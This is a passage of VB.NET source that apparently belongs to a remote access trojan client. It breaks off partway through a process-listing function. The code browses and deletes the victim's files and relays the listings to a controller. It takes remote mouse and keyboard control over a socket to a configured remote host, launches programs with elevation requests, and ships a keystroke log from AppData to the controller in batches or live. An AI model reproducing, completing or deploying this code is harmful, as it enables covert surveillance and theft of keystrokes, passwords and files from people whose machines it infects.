  3532.         GetTcpPortNumber = DWord / 256 + (DWord Mod 256) * 256
  3533.     End Function
  3534.  
  3535.     Public Shared Function GetState(ByRef lngState As Integer) As String
  3536.         On Error Resume Next
  3537.         Select Case lngState
  3538.             Case MIB_TCP_STATE_CLOSED : Return "STATE_CLOSED"
  3539.             Case MIB_TCP_STATE_LISTEN : Return "STATE_LISTEN"
  3540.             Case MIB_TCP_STATE_SYN_SENT : Return "SYN_SENT"
  3541.             Case MIB_TCP_STATE_SYN_RCVD : Return "SYN_RCVD"
  3542.             Case MIB_TCP_STATE_ESTAB : Return "STATE_ESTABLISHED"
  3543.             Case MIB_TCP_STATE_FIN_WAIT1 : Return "FIN_WAIT1"
  3544.             Case MIB_TCP_STATE_FIN_WAIT2 : Return "FIN_WAIT2"
  3545.             Case MIB_TCP_STATE_CLOSE_WAIT : Return "CLOSE_WAIT"
  3546.             Case MIB_TCP_STATE_CLOSING : Return "STATE_CLOSING"
  3547.             Case MIB_TCP_STATE_LAST_ACK : Return "STATE_LAST_ACK"
  3548.             Case MIB_TCP_STATE_TIME_WAIT : Return "TIME_WAIT"
  3549.             Case MIB_TCP_STATE_DELETE_TCB : Return "DELETE_TCB"
  3550.         End Select
  3551.         Return Nothing
  3552.     End Function
  3553.  
  3554. #End Region
  3555.  
  3556. End Class
  3557.  
  3558. #End Region
  3559.  
  3560. #Region " File Manager "
  3561.  
  3562. Public Class FileManaging
  3563.  
  3564. #Region "Declarations"
  3565.     Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer
  3566.     Private Const FilesFolders = 12
  3567.     Private Const SpecFolder = &H4
  3568. #End Region
  3569.  
  3570. #Region "Sending"
  3571.     Shared Sub DeleteFile(ByVal file As String)
  3572.         IO.File.Delete(file)
  3573.     End Sub
  3574.     Shared Sub DeleteFolder(ByVal path As Object)
  3575.         On Error Resume Next
  3576.         Dim target As New DirectoryInfo(path)
  3577.         Dim files As FileInfo() = target.GetFiles()
  3578.         Dim folders As DirectoryInfo() = target.GetDirectories
  3579.         For Each file As FileInfo In files
  3580.             IO.File.Delete(file.FullName)
  3581.         Next
  3582.         For Each folder In folders
  3583.             DeleteFolder(folder.FullName)
  3584.         Next
  3585.         Directory.Delete(path)
  3586.     End Sub
  3587.     Shared Sub SendFilesFolders(ByVal genericInfo As String)
  3588.         Try
  3589.             Dim path As Object = genericInfo.Split(SplitMark1)(2)
  3590.             If path = Nothing Then
  3591.                 Send(Chr(FilesFolders) & GetDrives())
  3592.             ElseIf IsNumeric(path) Then
  3593.                 Dim SpecialDir As String = ReturnSpecialFolderFromNumber(path)
  3594.                 Send(Chr(FilesFolders) & GetFolders(SpecialDir) & GetFiles(SpecialDir) & Chr(SpecFolder) & SplitMark1 & SpecialDir & splitMark2)
  3595.             Else
  3596.                 Send(Chr(FilesFolders) & GetFolders(path) & GetFiles(path) & SplitMark1 & path & splitMark2)
  3597.             End If
  3598.         Catch
  3599.         End Try
  3600.     End Sub
  3601.  
  3602.     Shared Function ReturnSpecialFolderFromNumber(ByVal FolderIdentifier As Integer) As String
  3603.         On Error Resume Next
  3604.         Select Case FolderIdentifier
  3605.             Case SpecialFolders.ApplicationData
  3606.                 Return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
  3607.             Case SpecialFolders.CommonApplicationData
  3608.                 Return Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)
  3609.             Case SpecialFolders.CommonProgramFiles
  3610.                 Return Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)
  3611.             Case SpecialFolders.Cookies
  3612.                 Return Environment.GetFolderPath(Environment.SpecialFolder.Cookies)
  3613.             Case SpecialFolders.Desktop
  3614.                 Return My.Computer.FileSystem.SpecialDirectories.Desktop
  3615.             Case SpecialFolders.Favorites
  3616.                 Return Environment.GetFolderPath(Environment.SpecialFolder.Favorites)
  3617.             Case SpecialFolders.History
  3618.                 Return Environment.GetFolderPath(Environment.SpecialFolder.History)
  3619.             Case SpecialFolders.LocalApplicationData
  3620.                 Return Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
  3621.             Case SpecialFolders.MyDocuments
  3622.                 Return Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  3623.             Case SpecialFolders.MyMusic
  3624.                 Return Environment.GetFolderPath(Environment.SpecialFolder.MyMusic)
  3625.             Case SpecialFolders.MyPictures
  3626.                 Return Environment.GetFolderPath(Environment.SpecialFolder.MyPictures)
  3627.             Case SpecialFolders.ProgramFiles
  3628.                 Return Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
  3629.             Case SpecialFolders.Recent
  3630.                 Return Environment.GetFolderPath(Environment.SpecialFolder.Recent)
  3631.             Case SpecialFolders.StartMenu
  3632.                 Return Environment.GetFolderPath(Environment.SpecialFolder.StartMenu)
  3633.             Case SpecialFolders.Startup
  3634.                 Return Environment.GetFolderPath(Environment.SpecialFolder.Startup)
  3635.             Case SpecialFolders.System
  3636.                 Return Environment.GetFolderPath(Environment.SpecialFolder.System)
  3637.             Case SpecialFolders.Templates
  3638.                 Return Environment.GetFolderPath(Environment.SpecialFolder.Templates)
  3639.             Case SpecialFolders.Temp
  3640.                 Return My.Computer.FileSystem.SpecialDirectories.Temp
  3641.             Case SpecialFolders.Windows
  3642.                 Return Environment.GetEnvironmentVariable("windir")
  3643.             Case SpecialFolders.Userprofile
  3644.                 Return Environment.GetEnvironmentVariable("userprofile")
  3645.         End Select
  3646.         Return Nothing
  3647.     End Function
  3648.     Shared Sub Copy(ByVal file As String, ByVal ToPath As String)
  3649.         On Error Resume Next
  3650.         IO.File.Copy(file, ToPath)
  3651.     End Sub
  3652. #End Region
  3653.  
  3654. #Region "GET"
  3655.     Shared Function GetDrives() As String
  3656.         On Error Resume Next
  3657.         Dim allDrives() As DriveInfo = IO.DriveInfo.GetDrives()
  3658.         Dim DriveStrings As String = String.Empty
  3659.         For Each Drive In allDrives
  3660.             If Drive.IsReady Then
  3661.                 Dim DType As Integer = 1
  3662.                 If Drive.DriveType = DriveType.Fixed Then
  3663.                     DType = 12 'Local drive
  3664.                 ElseIf Drive.DriveType = DriveType.CDRom Then
  3665.                     DType = 13 'CD/DVD
  3666.                 ElseIf Drive.DriveType = DriveType.Network Then
  3667.                     DType = 14 'Network drive
  3668.                 ElseIf Drive.DriveType = DriveType.Removable Then
  3669.                     DType = 15 'Removable drive
  3670.                 ElseIf Drive.DriveType = DriveType.Ram Then
  3671.                     DType = 16 'RAM disk
  3672.                 End If
  3673.                 DriveStrings &= Chr(ItemType.Drive) & MainModule.SplitMark1 & Chr(DType) & MainModule.SplitMark1 & Drive.Name & MainModule.splitMark2
  3674.             End If
  3675.         Next
  3676.         Return DriveStrings
  3677.     End Function
  3678.     Shared Function GetFiles(ByVal Path As String) As String
  3679.         On Error Resume Next
  3680.         If IsNumeric(Path) Then
  3681.             Path = ReturnSpecialFolderFromNumber(Int(Path))
  3682.         End If
  3683.         Dim DirInfo As New DirectoryInfo(Path)
  3684.         Dim File As String = Nothing
  3685.         For Each fi As FileInfo In DirInfo.GetFiles()
  3686.             File += Chr(ItemType.File) & MainModule.SplitMark1 & fi.Name & MainModule.SplitMark1 & Int(fi.Length / 1024) & MainModule.SplitMark1 & GetAttributesFile(fi.FullName) & MainModule.SplitMark1 & fi.CreationTime & MainModule.SplitMark1 & fi.LastAccessTime & MainModule.splitMark2
  3687.         Next
  3688.         Return File
  3689.     End Function
  3690.     Shared Function GetFolders(ByVal Path As String) As String
  3691.         On Error Resume Next
  3692.         If IsNumeric(Path) Then
  3693.             Path = ReturnSpecialFolderFromNumber(Int(Path))
  3694.         End If
  3695.         Dim DirInfo As New IO.DirectoryInfo(Path)
  3696.         Dim Folders As String = Nothing
  3697.         For Each fo As IO.DirectoryInfo In DirInfo.GetDirectories()
  3698.             Folders += Chr(ItemType.Folder) & MainModule.SplitMark1 & fo.Name & MainModule.SplitMark1 & MainModule.SplitMark1 & GetAttributesFolder(fo.Name) & MainModule.SplitMark1 & fo.CreationTime & MainModule.SplitMark1 & fo.LastAccessTime & MainModule.SplitMark1 & MainModule.splitMark2
  3699.         Next
  3700.         Return Folders
  3701.     End Function
  3702.     Shared Function GetAttributesFile(ByVal Name As String) As String
  3703.         On Error Resume Next
  3704.         Dim attributes As String = Nothing
  3705.         Dim Attr As FileAttributes = File.GetAttributes(Name)
  3706.         If (Attr And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
  3707.             attributes = "R"
  3708.         End If
  3709.         If (Attr And FileAttributes.Hidden) = FileAttributes.Hidden Then
  3710.             attributes += "H"
  3711.         End If
  3712.         If (Attr And FileAttributes.System) = FileAttributes.System Then
  3713.             attributes += "S"
  3714.         End If
  3715.         Return attributes
  3716.     End Function
  3717.     Shared Function GetAttributesFolder(ByVal Name As String) As String
  3718.         On Error Resume Next
  3719.         Dim attributes As String = Nothing
  3720.         Dim a As New DirectoryInfo(Name)
  3721.         If a.Attributes = FileAttributes.ReadOnly Then
  3722.             attributes += "R"
  3723.         End If
  3724.         If a.Attributes = FileAttributes.Hidden Then
  3725.             attributes += "H"
  3726.         End If
  3727.         If a.Attributes = FileAttributes.System Then
  3728.             attributes += "S"
  3729.         End If
  3730.         Return attributes
  3731.     End Function
  3732.     Public Shared Sub Wallpaper(ByVal Path As String)
  3733.  
  3734.         Try
  3735.             SystemParametersInfo(20, 0, Path, &H1)
  3736.         Catch
  3737.         End Try
  3738.     End Sub
  3739.     Shared Sub RenameFile(ByVal Path As String, ByVal Name As String)
  3740.  
  3741.         Try
  3742.             IO.File.Move(Path, Name)
  3743.         Catch : End Try
  3744.     End Sub
  3745.     Shared Sub RenameFolder(ByVal Path As String, ByVal Name As String)
  3746.         Try
  3747.             IO.Directory.Move(Path, Name)
  3748.         Catch : End Try
  3749.     End Sub
  3750.     Shared Sub RunAsAdmin(ByVal ExecutingInfo As Object)
  3751.         Try
  3752.             Dim processStartInfo As System.Diagnostics.ProcessStartInfo
  3753.             processStartInfo = New System.Diagnostics.ProcessStartInfo()
  3754.             processStartInfo.FileName = ExecutingInfo.Split(MainModule.SplitMark1)(1)
  3755.             processStartInfo.Arguments = ExecutingInfo.Split(MainModule.SplitMark1)(2)
  3756.             processStartInfo.Verb = "runas"
  3757.             Process.Start(processStartInfo)
  3758.         Catch
  3759.             Try
  3760.                 Dim NormalProcess As ProcessStartInfo
  3761.                 NormalProcess = New System.Diagnostics.ProcessStartInfo()
  3762.                 NormalProcess.FileName = ExecutingInfo.Split(MainModule.SplitMark1)(1)
  3763.                 NormalProcess.Arguments = ExecutingInfo.Split(MainModule.SplitMark1)(2)
  3764.                 Process.Start(NormalProcess)
  3765.             Catch
  3766.  
  3767.             End Try
  3768.         End Try
  3769.     End Sub
  3770. #End Region
  3771.  
  3772. #Region "Enums"
  3773.     Public Enum ItemType
  3774.         File = &H1
  3775.         Folder = &H2
  3776.         Drive = &H3
  3777.     End Enum
  3778.     Public Enum SpecialFolders
  3779.         ApplicationData = 26
  3780.         CommonApplicationData = 35
  3781.         CommonProgramFiles = 43
  3782.         Cookies = 33
  3783.         Desktop = 0
  3784.         Favorites = 6
  3785.         History = 34
  3786.         LocalApplicationData = 28
  3787.         MyDocuments = 5
  3788.         MyMusic = 13
  3789.         MyPictures = 39
  3790.         ProgramFiles = 38
  3791.         Recent = 8
  3792.         StartMenu = 11
  3793.         Startup = 7
  3794.         System = 37
  3795.         Templates = 21
  3796.         Temp = 9
  3797.         Windows = 12
  3798.         Userprofile = 15
  3799.     End Enum
  3800. #End Region
  3801.  
  3802. End Class
  3803.  
  3804. #End Region
  3805.  
  3806. #Region " ImageManaging "
  3807. Public Class ImageManaging
  3808.  
  3809. #Region "Resize image"
  3810.     Public Shared Function ResizeImage(img As Image, width As Integer, height As Integer) As Image
  3811.  
  3812.         On Error Resume Next
  3813.         Dim b As New Bitmap(width, height)
  3814.         Using g As Graphics = Graphics.FromImage(DirectCast(b, Image))
  3815.             g.DrawImage(img, 0, 0, width, height)
  3816.         End Using
  3817.  
  3818.         Return DirectCast(b, Image)
  3819.     End Function
  3820. #End Region
  3821.  
  3822. #Region "Convert into jpeg"
  3823.     Public Shared Function ConvertToJpeg(ByRef img As Bitmap, ByVal q As Integer) As Image
  3824.         On Error Resume Next
  3825.         Const paramAmount As Integer = 2
  3826.         Dim qualityParam As New EncoderParameter(System.Drawing.Imaging.Encoder.Quality, q)
  3827.         Dim jpegCodec As ImageCodecInfo = GetEncoderInfo("image/jpeg")
  3828.         Dim encoderParams As New EncoderParameters(paramAmount)
  3829.         encoderParams.Param(0) = qualityParam
  3830.         encoderParams.Param(1) = New EncoderParameter(System.Drawing.Imaging.Encoder.Compression, Fix(EncoderValue.CompressionLZW), 50)
  3831.         Dim ms As New IO.MemoryStream
  3832.         img.Save(ms, jpegCodec, encoderParams)
  3833.         Return Image.FromStream(ms)
  3834.  
  3835.     End Function
  3836.     Public Shared Function compressImage(ByVal img As Image, ByVal q As Integer) As Image
  3837.         Try
  3838.             Dim jgpEncoder As ImageCodecInfo = GetEncoderInfo("image/jpeg")
  3839.             Dim myEncoder As New EncoderParameter(System.Drawing.Imaging.Encoder.Quality, q)
  3840.             Dim myEncoderParameters As New EncoderParameters(1)
  3841.             Dim myEncoderParameter As New EncoderParameter(System.Drawing.Imaging.Encoder.Compression, CLng(EncoderValue.CompressionLZW))
  3842.             myEncoderParameters.Param(0) = myEncoderParameter
  3843.             Dim ms As MemoryStream = New MemoryStream()
  3844.             img.Save(ms, ImageFormat.Jpeg)
  3845.             Dim bmpBytes() As Byte
  3846.             bmpBytes = ms.ToArray()
  3847.             Return img
  3848.             ms.Close()
  3849.             ms = Nothing
  3850.         Catch
  3851.             Return Nothing
  3852.         End Try
  3853.     End Function
  3854. #End Region
  3855.  
  3856. #Region "Get encoder info"
  3857.     Private Shared Function GetEncoderInfo(ByVal mimeType As String) As ImageCodecInfo
  3858.         On Error Resume Next
  3859.         Dim codecs As ImageCodecInfo() = ImageCodecInfo.GetImageEncoders()
  3860.         For i As Integer = 0 To codecs.Length - 1
  3861.             If (codecs(i).MimeType = mimeType) Then
  3862.                 Return codecs(i)
  3863.             End If
  3864.         Next i
  3865.  
  3866.         Return Nothing
  3867.     End Function
  3868. #End Region
  3869.  
  3870. #Region "Thumbnail"
  3871.     Public Shared Sub SendThumbnail(ByVal fName As String)
  3872.         Try
  3873.             Dim FileImg As Image = ImageManaging.ResizeImage(ImageFromFile(fName), 320, 177)
  3874.             Dim MS As New IO.MemoryStream
  3875.             FileImg.Save(MS, Imaging.ImageFormat.Jpeg)
  3876.             MainModule.Send(Chr(MainModule.CommandType.Thumbnail) & Convert.ToBase64String(MS.GetBuffer))
  3877.             MS.Close()
  3878.             MS.Dispose()
  3879.         Catch
  3880.         End Try
  3881.     End Sub
  3882. #End Region
  3883.  
  3884. #Region "Image from file"
  3885.     Public Shared Function ImageFromFile(ByVal filename As String) As Image
  3886.         Try
  3887.             Return Image.FromFile(filename)
  3888.         Catch
  3889.             Return Nothing
  3890.         End Try
  3891.     End Function
  3892. #End Region
  3893.  
  3894. End Class
  3895.  
  3896.  
  3897. #End Region
  3898.  
  3899. #Region " Input Managing "
  3900.  
  3901. Public Class InputManaging
  3902.  
  3903. #Region "Declarations"
  3904.     Public Shared Buf(1024 - 1) As Byte
  3905.     Public Shared length As Integer = 0
  3906.     Const Input = 13
  3907.     Const Mouse = &H1
  3908.     Public Enum MouseButton As Byte
  3909.         Left = &H1
  3910.         Right = &H2
  3911.         Move = &H3
  3912.         Scroll = &H4
  3913.         Middle = &H5
  3914.     End Enum
  3915.     Public Enum Action As Byte
  3916.         Up = &H1
  3917.         Down = &H2
  3918.         Move = &H3
  3919.         ScrollUp = &H4
  3920.         ScrollDown = &H5
  3921.     End Enum
  3922.     Const Keyboard = &H2
  3923. #End Region
  3924.  
  3925. #Region " Connect input socket "
  3926.     Public Shared Sub StartRemoteInput(ByVal id As Object)
  3927.         On Error Resume Next
  3928.         Dim inputThread As New Thread(AddressOf ListenInput)
  3929.         inputThread.SetApartmentState(ApartmentState.STA)
  3930.         inputThread.Start(id)
  3931.     End Sub
  3932.     Public Shared inputSock As TcpClient
  3933.     Public Shared Sub ListenInput(ByVal id As Object)
  3934.         Try
  3935.             inputSock = New TcpClient
  3936.             inputSock.Connect(compilerSettings.remoteHost, compilerSettings.remotePort)
  3937.             inputSock.ReceiveBufferSize = 1024
  3938.             inputSock.SendBufferSize = 1024
  3939.             inputSock.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(Input) & MainModule.SplitMark1 & id))
  3940.             Dim InputStream As NetworkStream = inputSock.GetStream
  3941.             While True
  3942.                 length = InputStream.Read(Buf, 0, Buf.Length)
  3943.                 If length = 0 Then Exit While
  3944.                 HandleCommand(Buf, length)
  3945.                 Array.Clear(Buf, 0, Buf.Length)
  3946.             End While
  3947.         Catch ex As Exception
  3948.             If inputSock IsNot Nothing Then
  3949.                 inputSock.GetStream.Close()
  3950.                 inputSock.Close()
  3951.             End If
  3952.         End Try
  3953.     End Sub
  3954.     Public Shared Sub HandleCommand(ByVal Buf() As Byte, ByVal Len As Integer)
  3955.         On Error Resume Next
  3956.         For BufX As Integer = 0 To Len
  3957.             Select Case Buf(BufX)
  3958.                 Case Mouse
  3959.                     Dim A As Action = Buf(BufX + 1)
  3960.                     Dim B As MouseButton = Buf(BufX + 2)
  3961.                     Dim X As Short = System.BitConverter.ToInt16(Buf, 3)
  3962.                     Dim Y As Short = System.BitConverter.ToInt16(Buf, 5)
  3963.                     Dim Width As Short = System.BitConverter.ToInt16(Buf, 7)
  3964.                     Dim Height As Short = System.BitConverter.ToInt16(Buf, 9)
  3965.                     Select Case B
  3966.                         Case MouseButton.Left
  3967.                             Select Case A
  3968.                                 Case Action.Down
  3969.                                     MouseLeft(X, Y, Width, Height)
  3970.                                 Case Action.Up
  3971.                                     MouseUp(X, Y, Width, Height)
  3972.                             End Select
  3973.                         Case MouseButton.Right
  3974.                             Select Case A
  3975.                                 Case Action.Down
  3976.                                     MouseDownRight(X, Y, Width, Height)
  3977.                                 Case Action.Up
  3978.                                     MouseUpRight(X, Y, Width, Height)
  3979.                             End Select
  3980.                         Case MouseButton.Middle
  3981.                             Select Case A
  3982.                                 Case Action.Down
  3983.                                     MouseDownMiddle(X, Y, Width, Height)
  3984.                                 Case Action.Up
  3985.                                     MouseUpMiddle(X, Y, Width, Height)
  3986.                             End Select
  3987.                         Case MouseButton.Move
  3988.                             Select Case A
  3989.                                 Case Action.Move
  3990.                                     MouseMove(X, Y, Width, Height)
  3991.                             End Select
  3992.                         Case MouseButton.Scroll
  3993.                             Select Case A
  3994.                                 Case Action.ScrollUp
  3995.                                     mouse_event(&H800, 0, 0, 120, 0)
  3996.                                 Case Action.ScrollDown
  3997.                                     mouse_event(&H800, 0, 0, -120, 0)
  3998.                             End Select
  3999.                     End Select
  4000.                     BufX += 12
  4001.                 Case Keyboard
  4002.                     Dim A As Action = Buf(BufX + 1)
  4003.                     Dim KeyCode As Integer = Buf(BufX + 2)
  4004.                     Select Case A
  4005.                         Case Action.Down
  4006.                             KeyDown(KeyCode)
  4007.                         Case Action.Up
  4008.                             KeyUp(KeyCode)
  4009.                     End Select
  4010.                     BufX += 3
  4011.             End Select
  4012.         Next
  4013.     End Sub
  4014. #End Region
  4015.  
  4016. #Region " Key Events "
  4017.     Shared Sub KeyDown(ByVal code As Integer)
  4018.         On Error Resume Next
  4019.         Dim ScanCode As Byte = MapVirtualKey(code, 0)
  4020.         keybd_event(code, ScanCode, 0, 0)
  4021.     End Sub
  4022.     Shared Sub KeyUp(ByVal code As Integer)
  4023.         On Error Resume Next
  4024.         Dim ScanCode As Byte = MapVirtualKey(code, 0)
  4025.         keybd_event(code, ScanCode, &H2, 0)
  4026.     End Sub
  4027.     Shared Sub SendKeyString(ByVal keys As String)
  4028.         Try
  4029.             SendKeys.SendWait(keys)
  4030.         Catch ex As Exception
  4031.         End Try
  4032.     End Sub
  4033. #End Region
  4034.  
  4035. #Region " Mouse Events "
  4036.     Public Shared Screeny As Screen
  4037.     Shared Sub MouseLeft(ByVal X As Short, ByVal Y As Short, ByVal Width As Short, ByVal Height As Short)
  4038.         Try
  4039.             Dim r As Rectangle
  4040.             Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4041.             r = Screeny.Bounds
  4042.             Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4043.             Cursor.Position = B
  4044.             mouse_event(&H2, 0, 0, 0, 1)
  4045.         Catch ex As Exception
  4046.         End Try
  4047.     End Sub
  4048.     Shared Sub MouseUp(ByVal X As Short, ByVal Y As Short, ByVal Width As Short, ByVal Height As Short)
  4049.         Try
  4050.             Dim r As Rectangle
  4051.             Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4052.             r = Screeny.Bounds
  4053.             Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4054.             Cursor.Position = B
  4055.             mouse_event(&H4, 0, 0, 0, 1)
  4056.         Catch ex As Exception
  4057.         End Try
  4058.     End Sub
  4059.     Shared Sub MouseMove(ByVal X As Short, ByVal Y As Short, ByVal Width As Short, ByVal Height As Short)
  4060.         Try
  4061.             Dim r As Rectangle
  4062.             Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4063.             r = Screeny.Bounds
  4064.             Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4065.             Cursor.Position = B
  4066.             mouse_event(&H1, 0, 0, 0, 1)
  4067.         Catch ex As Exception
  4068.         End Try
  4069.     End Sub
  4070.     Shared Sub MouseDownRight(ByVal X As String, ByVal Y As String, ByVal Width As String, ByVal Height As String)
  4071.         Try
  4072.             Dim r As Rectangle
  4073.             Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4074.             r = Screeny.Bounds
  4075.             Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4076.             Cursor.Position = B
  4077.             mouse_event(&H8, 0, 0, 0, 1)
  4078.         Catch
  4079.         End Try
  4080.     End Sub
  4081.     Shared Sub MouseUpRight(ByVal X As String, ByVal Y As String, ByVal Width As String, ByVal Height As String)
  4082.         Try
  4083.             Dim r As Rectangle
  4084.             Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4085.             r = Screeny.Bounds
  4086.             Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4087.             Cursor.Position = B
  4088.             mouse_event(&H10, 0, 0, 0, 1)
  4089.         Catch
  4090.         End Try
  4091.     End Sub
  4092.     Shared Sub MouseDownMiddle(ByVal X As String, ByVal Y As String, ByVal Width As String, ByVal Height As String)
  4093.         On Error Resume Next
  4094.         Dim r As Rectangle
  4095.         Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4096.         r = Screeny.Bounds
  4097.         Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4098.         Cursor.Position = B
  4099.         mouse_event(&H20, 0, 0, 0, 1)
  4100.     End Sub
  4101.     Shared Sub MouseUpMiddle(ByVal X As String, ByVal Y As String, ByVal Width As String, ByVal Height As String)
  4102.         On Error Resume Next
  4103.         Dim r As Rectangle
  4104.         Screeny = Screen.AllScreens(RemoteDesktop.Scr - 1)
  4105.         r = Screeny.Bounds
  4106.         Dim B As New Point(Int((r.Width * X / Width) + r.X), Int((r.Height * Y / Height) + r.Y))
  4107.         Cursor.Position = B
  4108.         mouse_event(&H40, 0, 0, 0, 1)
  4109.     End Sub
  4110. #End Region
  4111.  
  4112. End Class
  4113.  
  4114. #End Region
  4115.  
  4116. #Region " Log Managing "
  4117.  
  4118. Public Class LogManaging
  4119.  
  4120. #Region " Declarations "
  4121.     Private LoggingLive As Integer = 1
  4122.     Private DelLogAfter As Integer = 1
  4123.     Private connectionId As Integer
  4124.     Private LiveThread As Thread
  4125.     Private TransferThread As Thread
  4126.     Private Hooker As KeyHook
  4127.     Private Const RemoteKeylogger = 4
  4128. #End Region
  4129.  
  4130. #Region " Log Managing "
  4131.     Public Sub InitializeTransfer(ByVal id As Integer, ByVal Live As Integer, ByVal DelLog As Integer, ByRef HookClass As KeyHook)
  4132.         On Error Resume Next
  4133.         connectionId = id
  4134.         Hooker = HookClass
  4135.         LoggingLive = Live
  4136.         DelLogAfter = DelLog
  4137.         If Live = 2 Then
  4138.             LiveThread = New Thread(AddressOf SendLive)
  4139.             LiveThread.SetApartmentState(ApartmentState.STA) : LiveThread.Start()
  4140.             liveLogger = True
  4141.         Else
  4142.             TransferThread = New Thread(AddressOf SendLog)
  4143.             TransferThread.SetApartmentState(ApartmentState.STA) : TransferThread.Start()
  4144.             TransferThread.IsBackground = True
  4145.             Thread.Sleep(500)
  4146.         End If
  4147.     End Sub
  4148. #End Region
  4149.  
  4150. #Region " Sending "
  4151.     Public Sub SendLog()
  4152.         Dim LogClient As TcpClient
  4153.         Try
  4154.             LogClient = New TcpClient(compilerSettings.remoteHost, compilerSettings.remotePort)
  4155.             LogClient.SendBufferSize = 51200
  4156.             LogClient.ReceiveBufferSize = 1024
  4157.             Dim InfoBuf() As Byte = System.Text.Encoding.UTF8.GetBytes(Chr(RemoteKeylogger) & MainModule.SplitMark1 & connectionId & MainModule.SplitMark1 & Chr(LoggingLive) & MainModule.SplitMark1 & New IO.FileInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt").Length)
  4158.             LogClient.Client.Send(InfoBuf, InfoBuf.Length, SocketFlags.None)
  4159.             Thread.Sleep(1000)
  4160.             LogClient.Client.SendFile(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  4161.             If DelLogAfter = 2 Then StartNewLog()
  4162.             LogClient.GetStream.Close()
  4163.             LogClient.Close()
  4164.             LogClient = Nothing
  4165.             TransferThread.Abort()
  4166.         Catch ex As Exception
  4167.             LogClient = Nothing
  4168.             TransferThread.Abort()
  4169.         End Try
  4170.     End Sub
  4171.     Public Sub StartNewLog()
  4172.         Try
  4173.             Dim E As New Encryption
  4174.             File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  4175.             Dim sr As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  4176.             sr.Write(E.Encrypt("Imminent", "New Log Started " & Date.Now.ToString & vbNewLine))
  4177.             sr.Close()
  4178.             sr.Dispose()
  4179.         Catch
  4180.         End Try
  4181.     End Sub
  4182.     Dim LiveLogClient As TcpClient
  4183.     Public Sub SendLive()
  4184.         Dim b() As Byte
  4185.         Try
  4186.             LiveLogClient = New TcpClient(MainModule.compilerSettings.remoteHost, MainModule.compilerSettings.remotePort)
  4187.             LiveLogClient.SendBufferSize = 1024
  4188.             LiveLogClient.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(RemoteKeylogger) & MainModule.SplitMark1 & connectionId & MainModule.SplitMark1 & Chr(LoggingLive)))
  4189.             Thread.Sleep(1000)
  4190.             Dim nstm As Stream = LiveLogClient.GetStream()
  4191.             While LiveLogClient.Connected
  4192.                 Thread.Sleep(100)
  4193.                 If Not liveKeys = Nothing Then
  4194.                     b = System.Text.Encoding.UTF8.GetBytes(liveKeys)
  4195.                     nstm.Write(b, 0, b.Length)
  4196.                     b = Nothing
  4197.                     liveKeys = Nothing
  4198.                 End If
  4199.             End While
  4200.             LiveLogClient.GetStream.Close()
  4201.             LiveLogClient.Close()
  4202.             nstm.Close()
  4203.             nstm.Dispose()
  4204.             GC.Collect()
  4205.             liveLogger = False
  4206.             Exit Sub
  4207.         Catch ex As Exception
  4208.             Try
  4209.                 LiveLogClient.GetStream.Close()
  4210.                 LiveLogClient.Close()
  4211.                 LiveLogClient.Client.Close()
  4212.                 liveLogger = False
  4213.                 liveKeys = Nothing
  4214.                 b = Nothing
  4215.                 Exit Sub
  4216.             Catch ex1 As Exception
  4217.  
  4218.             End Try
  4219.  
  4220.         End Try
  4221.     End Sub
  4222. #End Region
  4223.  
  4224. End Class
  4225.  
  4226. #End Region
  4227.  
  4228. #Region " Process Managing "
  4229.  
  4230. Public Class ProcessManaging
  4231.  
  4232. #Region " Declarations "
  4233.     Private Const Processes = 10
  4234. #End Region
  4235.  
  4236. #Region " Sending "
  4237.     Shared Sub SendProcesses(ByVal id As String)
  4238.         Try
  4239.             MainModule.Send(Chr(Processes) & GetProcesses() & Chr(SystemInformation.GetRamUsage))
  4240.         Catch
  4241.         End Try
  4242.     End Sub
  4243.     Shared Function ResumeProcess(ByVal pid As Integer) As Boolean
  4244.         Try
  4245.             Dim AllSuccess As Boolean = True
  4246.             For Each thread As ProcessThread In Process.GetProcessById(pid).Threads
  4247.                 If Not ResumeThread(GetHandleFromThreadID(thread.Id)) Then
  4248.                     AllSuccess = False
  4249.                 End If
  4250.             Next
  4251.             Return AllSuccess
  4252.         Catch
  4253.             Return False
  4254.         End Try
  4255.     End Function
  4256. #End Region
  4257.  
  4258. #Region " GET/Return "
  4259.     Shared Function GetProcesses() As String
  4260.         Try
  4261.             Dim ProcessString As String = Nothing
  4262.             For Each p As Process In Process.GetProcesses
  4263.                 Dim Path As String = Nothing
  4264.                 Try
  4265.                     Path = p.MainModule.FileName
  4266.                 Catch
  4267.                     Path = "N/A"
  4268.                 End Try
  4269.                 Dim title As String = Nothing
  4270.                 Try
  4271.                     title = p.MainWindowTitle
